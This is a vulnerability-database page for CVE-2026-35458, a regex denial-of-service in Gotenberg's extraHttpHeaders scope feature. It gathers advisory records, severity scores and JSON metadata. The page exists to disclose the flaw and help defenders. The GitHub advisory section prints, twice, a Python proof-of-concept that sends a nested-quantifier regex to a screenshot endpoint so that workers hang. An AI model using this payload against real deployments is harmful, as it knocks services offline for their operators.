Vulnerability-Lookup

CVE-2026-35458 (GCVE-0-2026-35458)

Vulnerability from cvelistv5 – Published: 2026-04-07 14:24 – Updated: 2026-04-09 14:20

Title

Gotenberg has a ReDoS via extraHttpHeaders scope feature

Summary

Gotenberg is an API for converting document formats. In 8.29.1 and earlier, Gotenberg uses dlclark/regexp2 to compile user-supplied scope patterns without setting a proper timeout. Users with access to features using this logic can hang workers indefinitely.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-09 14:20 UTC

CWE

CWE-1333 - Inefficient Regular Expression Complexity

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/gotenberg/gotenberg/security/a…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
gotenberg	gotenberg	Affected: <= 8.29.1	guessed

Show details on NVD website

JSON

To clipboard

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        "discovery": "UNKNOWN"
      },
      "title": "Gotenberg has a ReDoS via extraHttpHeaders scope feature"
    }
  },
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          }
        ],
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                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
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                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
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      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "Gotenberg has a ReDoS via extraHttpHeaders scope feature",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-35458.json",
      "version": "3"
    },
    "suse_vex": {
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    "vulnrichment": {
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}

FKIE_CVE-2026-35458

Vulnerability from fkie_nvd - Published: 2026-04-07 15:17 - Updated: 2026-06-17 10:40

Severity

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/gotenberg/gotenberg/security/advisories/GHSA-fmwg-qcqh-m992	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	thecodingmachine	gotenberg	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "gotenberg",
          "vendor": "gotenberg",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 8.29.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
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        {
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              "versionEndExcluding": "8.29.1",
              "vulnerable": true
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          ],
          "negate": false,
          "operator": "OR"
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  ],
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    {
      "lang": "en",
      "value": "Gotenberg is an API for converting document formats. In 8.29.1 and earlier, Gotenberg uses dlclark/regexp2 to compile user-supplied scope patterns without setting a proper timeout. Users with access to features using this logic can hang workers indefinitely."
    }
  ],
  "id": "CVE-2026-35458",
  "lastModified": "2026-06-17T10:40:37.880",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
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        "impactScore": 5.9,
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "type": "Secondary"
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    ],
    "cvssMetricV40": [
      {
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          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
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          "attackVector": "NETWORK",
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          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
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          "privilegesRequired": "NONE",
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          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
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          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
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        "type": "Secondary"
      }
    ],
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      {
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        "ssvcData": {
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          "options": [
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            },
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}

GHSA-FMWG-QCQH-M992

Vulnerability from github – Published: 2026-04-07 18:16 – Updated: 2026-04-07 18:16

Summary

Gotenberg Vulnerable to ReDoS via extraHttpHeaders scope feature

Details

Summary

Gotenberg uses dlclark/regexp2 to compile user-supplied scope patterns without setting a proper timeout. Users with access to features using this logic can hang workers indefinitely.

Details

Gotenberg uses dlclark/regexp2 to compile user-supplied scope patterns (gotenberg/pkg/modules/chromium/routes.go:200) with no MatchTimeout set, therefore using the default of math.MaxInt64 = "forever".

For example, any user with access to the endpoint /forms/chromium/screenshot/url can add a crafted scope pattern to the extraHttpHeaders form field using a nested quantifiers that causes infinite backtracking, hanging the Gotenberg worker indefinitely.

See the dlclark/regexp2 README.md for further considerations.

Tested on the latest container version gotenberg/gotenberg:8.29.1

PoC

The following Python script uses the /forms/chromium/screenshot/url endpoint, testing for differences in responses times between simple and malicious regexes.

#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.12"
# dependencies = [
#    "requests",
# ]
# ///
import json
import time
import requests

HOST = "localhost:3000"
# HOST = "gotenberg.local:3000"

def send_request(host: str, headers_dict: dict, label: str, timeout: int = 30):
    """Send a screenshot request to Gotenberg and measure response time."""
    url = f"http://{host}/forms/chromium/screenshot/url"
    print(f"\n[*] {label}")
    print(f"    extraHttpHeaders: {json.dumps(headers_dict)}")

    start = time.time()
    try:
        r = requests.post(
            url,
            data={
                "url": "http://api.service:3000/snapshot/",
                "extraHttpHeaders": json.dumps(headers_dict),
            },
            files={"a": "b"},
            timeout=timeout,
        )
        elapsed = time.time() - start
        print(f"    Status: {r.status_code}, Size: {len(r.content)}, Time: {elapsed:.2f}s")
    except requests.exceptions.Timeout:
        elapsed = time.time() - start
        print(f"    TIMEOUT after {elapsed:.2f}s — Gotenberg worker is hung (ReDoS confirmed)")
    except requests.exceptions.ConnectionError as e:
        elapsed = time.time() - start
        print(f"    CONNECTION ERROR after {elapsed:.2f}s: {e}")


def main():
    # --- Test 1: Baseline ---
    send_request(HOST, {"X-Test": "baseline"}, "Baseline: no scope")

    # --- Test 2: Simple scope ---
    send_request(HOST, {"X-Test": "value; scope=.*"}, "Simple scope: '.*'")

    # --- Test 3: ReDoS scope ---
    # Classic evil pattern: nested quantifiers on overlapping character class.
    evil_pattern = r"([a-zA-Z0-9.:/_]+)+\!"
    send_request(
        HOST,
        {"X-Test": f"value; scope={evil_pattern}"},
        f"ReDoS scope: '{evil_pattern}'",
        timeout=15,
    )


if __name__ == "__main__":
    main()

Impact

This is a ReDoS vulnerability which only impacts the availability of the service and/or server on which gotenberg is running. All instances where attackers can reach the /forms/chromium/screenshot/url endpoint specifing the extraHttpHeaders field are affected.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.29.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35458"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-07T18:16:19Z",
    "nvd_published_at": "2026-04-07T15:17:43Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nGotenberg uses `dlclark/regexp2` to compile user-supplied scope patterns without setting a proper timeout. Users with access to features using this logic can hang workers indefinitely. \n\n### Details\nGotenberg uses `dlclark/regexp2` to compile user-supplied scope patterns (gotenberg/pkg/modules/chromium/routes.go:200) with no MatchTimeout set, therefore using the default of math.MaxInt64 = \"forever\".\n\nFor example, any user with access to the endpoint `/forms/chromium/screenshot/url` can add a crafted scope pattern to the `extraHttpHeaders` form field using a nested quantifiers that causes infinite backtracking, hanging the Gotenberg worker indefinitely.\n\nSee the [dlclark/regexp2 README.md](https://github.com/dlclark/regexp2?tab=readme-ov-file#catastrophic-backtracking-and-timeouts) for further considerations.\n\nTested on the latest container version gotenberg/gotenberg:8.29.1\n\n### PoC\n\nThe following Python script uses the `/forms/chromium/screenshot/url` endpoint, testing for differences in responses times between simple and malicious regexes.\n\n```python\n#!/usr/bin/env -S uv run --script\n# /// script\n# requires-python = \"\u003e=3.12\"\n# dependencies = [\n#    \"requests\",\n# ]\n# ///\nimport json\nimport time\nimport requests\n\nHOST = \"localhost:3000\"\n# HOST = \"gotenberg.local:3000\"\n\ndef send_request(host: str, headers_dict: dict, label: str, timeout: int = 30):\n    \"\"\"Send a screenshot request to Gotenberg and measure response time.\"\"\"\n    url = f\"http://{host}/forms/chromium/screenshot/url\"\n    print(f\"\\n[*] {label}\")\n    print(f\"    extraHttpHeaders: {json.dumps(headers_dict)}\")\n\n    start = time.time()\n    try:\n        r = requests.post(\n            url,\n            data={\n                \"url\": \"http://api.service:3000/snapshot/\",\n                \"extraHttpHeaders\": json.dumps(headers_dict),\n            },\n            files={\"a\": \"b\"},\n            timeout=timeout,\n        )\n        elapsed = time.time() - start\n        print(f\"    Status: {r.status_code}, Size: {len(r.content)}, Time: {elapsed:.2f}s\")\n    except requests.exceptions.Timeout:\n        elapsed = time.time() - start\n        print(f\"    TIMEOUT after {elapsed:.2f}s \u2014 Gotenberg worker is hung (ReDoS confirmed)\")\n    except requests.exceptions.ConnectionError as e:\n        elapsed = time.time() - start\n        print(f\"    CONNECTION ERROR after {elapsed:.2f}s: {e}\")\n\n\ndef main():\n    # --- Test 1: Baseline ---\n    send_request(HOST, {\"X-Test\": \"baseline\"}, \"Baseline: no scope\")\n\n    # --- Test 2: Simple scope ---\n    send_request(HOST, {\"X-Test\": \"value; scope=.*\"}, \"Simple scope: \u0027.*\u0027\")\n\n    # --- Test 3: ReDoS scope ---\n    # Classic evil pattern: nested quantifiers on overlapping character class.\n    evil_pattern = r\"([a-zA-Z0-9.:/_]+)+\\!\"\n    send_request(\n        HOST,\n        {\"X-Test\": f\"value; scope={evil_pattern}\"},\n        f\"ReDoS scope: \u0027{evil_pattern}\u0027\",\n        timeout=15,\n    )\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\n\nThis is a ReDoS vulnerability which only impacts the availability of the service and/or server on which gotenberg is running. All instances where attackers can reach the `/forms/chromium/screenshot/url` endpoint specifing the `extraHttpHeaders` field are affected.",
  "id": "GHSA-fmwg-qcqh-m992",
  "modified": "2026-04-07T18:16:19Z",
  "published": "2026-04-07T18:16:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-fmwg-qcqh-m992"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35458"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/commit/cfb48d9af48cb236244eabe5c67fe1d30fb3fe25"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gotenberg Vulnerable to ReDoS via extraHttpHeaders scope feature"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

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Confirmed: The vulnerability has been validated from an analyst's perspective.
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Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Action not permitted

CVE-2026-35458 (GCVE-0-2026-35458)

FKIE_CVE-2026-35458

GHSA-FMWG-QCQH-M992

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Details

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